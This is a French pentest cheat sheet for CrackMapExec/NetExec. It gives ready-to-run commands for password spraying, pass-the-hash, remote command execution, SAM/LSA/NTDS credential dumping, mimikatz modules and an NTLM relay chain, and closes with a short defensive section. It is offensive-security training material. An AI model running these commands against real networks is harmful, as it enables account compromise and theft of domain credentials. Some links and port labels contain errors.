📋 Fiche Outil : CrackMapExec (CME)


📋 Note
⚠️ CrackMapExec est considéré comme déprécié. Le successeur officiel est NetExec (nxc). La syntaxe est quasi identique : crackmapexec smb = nxc smb. Il est recommandé d’utiliser NetExec (NXC) pour les nouvelles installations.

Outil Similaire : NetExec (nxc), enum4linux-ng, smbmap

Outil Complémentaire : Responder (capture NTLM), Impacket (relay, exec), BloodHound (cartographie AD), mimikatz (extraction credentials)

Liens utiles : Port 445 – SMB, Port 5985 – WinRM, Port 3389 – RDP, Port 389 – LDAP, Port 1433 – MSSQL

🎯 Objectif Principal
CrackMapExec (CME) est un outil multiprotocole (SMB, WinRM, RDP, SSH, MSSQL, LDAP) conçu pour l’énumération, le test d’identifiants, le mouvement latéral et la post-exploitation en environnement Active Directory. Il permet de tester massivement des credentials sur un réseau, d’énumérer les partages/utilisateurs/groupes, de dumper des hash (SAM, LSA, NTDS), et d’exécuter des commandes à distance. Supporte le Pass-the-Hash (PTH).

Syntaxe Générale
bash
crackmapexec <protocole> <cible> [options]

Paramètres (Flags)

Option Description Exemple d’utilisation
-u Nom d’utilisateur ou fichier de noms crackmapexec smb 10.10.10.5 -u admin
-p Mot de passe ou fichier de mots de passe crackmapexec smb 10.10.10.5 -u admin -p 'Pass123'
-H Hash NTLM (Pass-the-Hash) crackmapexec smb 10.10.10.5 -u admin -H <hash>
-d Domaine Active Directory crackmapexec smb 10.10.10.5 -u admin -p 'pass' -d CORP
-x Exécuter une commande système (cmd) crackmapexec smb 10.10.10.5 -u admin -p 'pass' -x "whoami"
-X Exécuter une commande PowerShell crackmapexec smb 10.10.10.5 -u admin -p 'pass' -X "Get-Process"
-M Charger un module post-exploitation crackmapexec smb 10.10.10.5 -u admin -p 'pass' -M mimikatz
--shares Lister les partages SMB crackmapexec smb 10.10.10.5 --shares
--users Énumérer les utilisateurs du domaine crackmapexec smb 10.10.10.5 --users
--groups Énumérer les groupes du domaine crackmapexec smb 10.10.10.5 --groups
--rid-brute Énumération par RID cycling (sans credentials) crackmapexec smb 10.10.10.5 --rid-brute
--sam Dump de la base SAM locale crackmapexec smb 10.10.10.5 -u admin -p 'pass' --sam
--lsa Dump des secrets LSA crackmapexec smb 10.10.10.5 -u admin -p 'pass' --lsa
--ntds Dump de la base NTDS.dit (Domain Controller) crackmapexec smb 10.10.10.5 -u admin -p 'pass' --ntds
--sessions Lister les sessions actives crackmapexec smb 10.10.10.5 -u admin -p 'pass' --sessions
--pass-pol Récupérer la politique de mots de passe crackmapexec smb 10.10.10.5 --pass-pol
--gen-relay-list Générer une liste de cibles pour NTLM relay crackmapexec smb --gen-relay-list targets.txt 10.10.10.0/24
--continue-on-success Continuer après un login valide (spray) crackmapexec smb 10.10.10.5 -u users.txt -p 'pass' --continue-on-success

Commandes Essentielles

Commande Description Exemple
crackmapexec smb <cible> Découverte de machines SMB sur le réseau crackmapexec smb 192.168.1.0/24
crackmapexec smb <cible> -u '' -p '' Connexion anonyme / null session crackmapexec smb 10.10.10.5 -u '' -p '' --shares
crackmapexec smb <cible> -u <user> -p <pass> Test d’identifiants SMB crackmapexec smb 10.10.10.5 -u admin -p 'Password1'
crackmapexec smb <cible> -u <user> -H <hash> Pass-the-Hash crackmapexec smb 10.10.10.5 -u admin -H aad3b435:5f4dcc3b
crackmapexec winrm <cible> -u <user> -p <pass> Test d’accès WinRM crackmapexec winrm 10.10.10.5 -u admin -p 'pass'
crackmapexec smb <cible> -u <user> -p <pass> -x <cmd> Exécution de commande à distance crackmapexec smb 10.10.10.5 -u admin -p 'pass' -x "whoami"

Exemples Pratiques

1. Découverte et énumération réseau (sans credentials)

Scan d’un sous-réseau pour identifier les machines Windows et leurs infos SMB.

bash
crackmapexec smb 192.168.1.0/24

_Explication : Scanne tout le sous-réseau en SMB. Affiche le nom de la machine, le domaine, la version de Windows et si SMB signing est activé._

bash
crackmapexec smb 192.168.1.100 --shares --users --rid-brute

_Explication : Tente d’énumérer les partages, utilisateurs et effectue un RID cycling sur la cible, le tout sans credentials (null session). Toutes les machines ne le permettent pas._

2. Password Spraying sur un domaine

Test d’un mot de passe unique contre une liste d’utilisateurs pour trouver un accès initial.

bash
crackmapexec smb 10.10.10.5 -u users.txt -p 'Welcome2024!' -d CORP.LOCAL --continue-on-success

_Explication : Teste le mot de passe Welcome2024! pour chaque utilisateur du fichier users.txt sur le domaine CORP.LOCAL. L’option --continue-on-success évite de s’arrêter au premier match. Un [+] vert indique un login valide, et (Pwn3d!) signifie que l’utilisateur a des droits admin local._

3. Pass-the-Hash et exécution de commandes

Utilisation d’un hash NTLM récupéré pour se latéraliser via WinRM.

bash
crackmapexec winrm 10.10.10.5 -u 'administrator' -H 'aad3b435b51404eeaad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99' -d 'CORP.LOCAL'

_Explication : Authentification sur WinRM en Pass-the-Hash. Si (Pwn3d!) apparaît, on peut exécuter des commandes à distance._

bash
crackmapexec smb 10.10.10.5 -u admin -p 'Password1' -x "whoami /all"

_Explication : Exécute la commande whoami /all via SMB sur la cible avec les credentials fournis._

4. Dump de credentials

Extraction de hash depuis la SAM, les secrets LSA ou la base NTDS (sur un DC).

bash
# Dump SAM (hash locaux)
crackmapexec smb 192.168.1.100 -u admin -p 'Password1' --sam

# Dump LSA (secrets, comptes de service)
crackmapexec smb 192.168.1.100 -u admin -p 'Password1' --lsa

# Dump NTDS (tous les hash du domaine — uniquement sur un Domain Controller)
crackmapexec smb 10.10.10.5 -u admin -p 'Password1' --ntds

_Explication : --sam récupère les hash de la base SAM locale. --lsa extrait les secrets LSA (mots de passe en clair possibles, comptes machine). --ntds dump l’intégralité de la base Active Directory — extrêmement critique, nécessite des droits Domain Admin._

5. Génération de liste pour NTLM Relay

Créer un fichier de cibles vulnérables au NTLM relay (SMB signing désactivé).

bash
crackmapexec smb --gen-relay-list smb_targets.txt 10.10.11.0/24

_Explication : Scanne le sous-réseau et identifie les machines avec SMB signing désactivé. Ces machines sont vulnérables au NTLM relay. Le résultat est sauvegardé dans smb_targets.txt._


Fonctionnalités Avancées

📌 Protocoles et modules

CME supporte plusieurs protocoles et dispose d’un système de modules chargeables pour étendre ses fonctionnalités.

Protocoles disponibles

Protocole Usage principal Port
smb Énumération AD, mouvement latéral, dump de hash 445
winrm Exécution de commandes à distance 5985/5986
rdp Test d’identifiants RDP 3389
ssh Test d’identifiants SSH 22
mssql Attaques sur bases SQL Server 1433
ldap Énumération LDAP du domaine 389

Modules post-exploitation

CME dispose de modules chargeables avec -M. Lister les modules disponibles :

bash
crackmapexec smb -L

Modules notables :

bash
# Mimikatz — extraction de credentials en mémoire
crackmapexec smb 192.168.1.0/24 -u admin -p 'pass' -M mimikatz

# Spider_plus — recherche de fichiers sensibles dans les partages
crackmapexec smb 192.168.1.100 -u admin -p 'pass' -M spider_plus

# WebDAV — énumération des services WebDAV
crackmapexec smb 192.168.1.0/24 -u admin -p 'pass' -M webdav

Base de données intégrée (cmedb)

CME stocke automatiquement tous les résultats dans une base SQLite locale. On peut la requêter avec cmedb :

bash
cmedb
# Puis dans le shell interactif :
proto smb
creds
hosts

_Explication : Permet de retrouver les credentials et machines découverts lors de sessions précédentes sans relancer les scans._


Suivi & Recommandation

⚠️ Méthodologie recommandée

Workflow complet d’utilisation de CME dans un pentest AD.

Étape 1 — Découverte réseau et identification des cibles.

bash
crackmapexec smb 10.10.10.0/24

Étape 2 — Énumération sans credentials (null session, RID brute).

bash
crackmapexec smb 10.10.10.5 --shares --users --rid-brute --pass-pol

Étape 3 — Password spraying avec les utilisateurs découverts.

bash
crackmapexec smb 10.10.10.5 -u users.txt -p 'Password123!' -d CORP --continue-on-success

Étape 4 — Avec des credentials valides, énumérer en profondeur.

bash
crackmapexec smb 10.10.10.0/24 -u user1 -p 'pass' --shares --sessions

Étape 5 — Mouvement latéral et dump de credentials.

bash
crackmapexec smb 10.10.10.0/24 -u admin -p 'pass' --sam --lsa

Étape 6 — (Optionnel) Génération de liste pour NTLM relay.

bash
# Génère la liste de cibles vulnérables
crackmapexec smb --gen-relay-list smb_targets.txt 10.10.10.0/24

# Lance ntlmrelayx avec la liste
sudo ntlmrelayx.py -tf smb_targets.txt -smb2support

# Lance Responder sur l'interface réseau
sudo responder -I eth0

Combinaisons Utiles

🔗 Pipes & Enchaînements

CME s’intègre dans un workflow d’attaque AD complet avec Responder, Impacket et BloodHound.

bash
# 1. Capturer des hash NTLM avec Responder
sudo responder -I eth0

# 2. Relayer vers les cibles vulnérables identifiées par CME
sudo ntlmrelayx.py -tf smb_targets.txt -smb2support

# 3. Utiliser les credentials récupérés pour mouvement latéral
crackmapexec smb 10.10.10.0/24 -u admin -H <hash_récupéré> --sam
bash
# Coupler CME + BloodHound pour cartographier les chemins d'attaque
crackmapexec smb 10.10.10.5 -u user -p 'pass' --ntds
# Puis importer les hash dans BloodHound pour visualiser les chemins vers Domain Admin
bash
# Enrichir l'info sur les cibles
crackmapexec smb 192.168.1.0/24 --shares --users
crackmapexec smb 192.168.1.0/24 -u admin -p 'pass' -M spider_plus

Cas Particuliers & Pièges

⚠️ Points d'attention
  • (Pwn3d!) vs [+] : Un [+] signifie que les credentials sont valides. (Pwn3d!) signifie en plus que l’utilisateur a des droits administrateur local sur la machine — c’est lui qu’il faut cibler pour le dump et l’exécution de commandes.
  • SMB signing : Les machines avec SMB signing activé (obligatoire sur les DC par défaut) ne sont PAS vulnérables au NTLM relay. --gen-relay-list filtre automatiquement ces machines.
  • Lockout : Attention au password spraying — vérifier la politique de lockout avec --pass-pol avant de lancer un bruteforce massif. Un verrouillage de comptes peut alerter le SOC et bloquer les utilisateurs.
  • CME vs NetExec : CrackMapExec n’est plus maintenu. Utiliser nxc (NetExec) qui est le fork actif avec la même syntaxe. crackmapexec smb = nxc smb.
  • Faux positifs : Certaines machines peuvent répondre positivement au scan SMB mais refuser l’authentification NTLM ou ne pas supporter certains modules.

Défense & Ressources

Contre-mesures & Détection

🛡️ Côté Défensif
  • Activer SMB signing sur toutes les machines (pas seulement les DC) pour bloquer le NTLM relay
  • Désactiver NTLMv1 et forcer NTLMv2 minimum
  • Politique de lockout : Configurer un seuil de verrouillage (ex : 5 tentatives) pour limiter le password spraying
  • Logs à surveiller : Event ID 4625 (échec d’authentification), 4624 (connexion réussie type 3 réseau), 4776 (validation NTLM)
  • IDS/IPS : Les signatures de CME/NetExec sont détectées par la plupart des EDR modernes (CrowdStrike, Defender for Endpoint, etc.)
  • Segmentation réseau : Limiter l’accès SMB (port 445) entre postes de travail — le mouvement latéral repose sur cette accessibilité
  • LAPS : Déployer Local Administrator Password Solution pour que chaque machine ait un mot de passe admin local unique — casse le mouvement latéral par réutilisation de credentials

Installation

💡 Installation
bash
# Préinstallé sur Kali Linux
# Sinon :
sudo apt install crackmapexec

# Ou via pipx (recommandé pour éviter les conflits)
pipx install crackmapexec

# Successeur NetExec (recommandé)
pipx install netexec

Équivalent Windows

🪟 Section optionnelle

CME est principalement utilisé depuis Linux (Kali), mais NetExec propose des builds Windows.

Linux Windows Notes
crackmapexec smb nxc.exe smb NetExec a des builds Windows
crackmapexec winrm -x Invoke-Command (PowerShell) Exécution à distance native Windows
crackmapexec smb --sam reg save / secretsdump.py Dump SAM par d’autres moyens

Liens & Ressources

Type Lien
Documentation officielle (legacy) [CrackMapExec Wiki](https://github.com/byt3bl33d3r/CrackMapExec/wiki)
NetExec (successeur) [NetExec GitHub](https://github.com/Penntest-dad/NetExec)
HackTricks — CME [HackTricks – CrackMapExec](https://book.hacktricks.wiki/en/windows-hardening/ntlm/places-to-steal-ntlm-creds.html)
Outils liés [Responder](Responder.md), [[Impacket]], [BloodHound](BloodHound.md), [mimikatz](mimikatz.md), [smbclient](smbclient.md), [enum4linux](enum4linux.md)
Ports associés Port 139 et 445 – SMB, Port 5985 – WinRM, Port 3389 – RDP, Port 389 et 636 – LADPS, Port 1433 – MySQL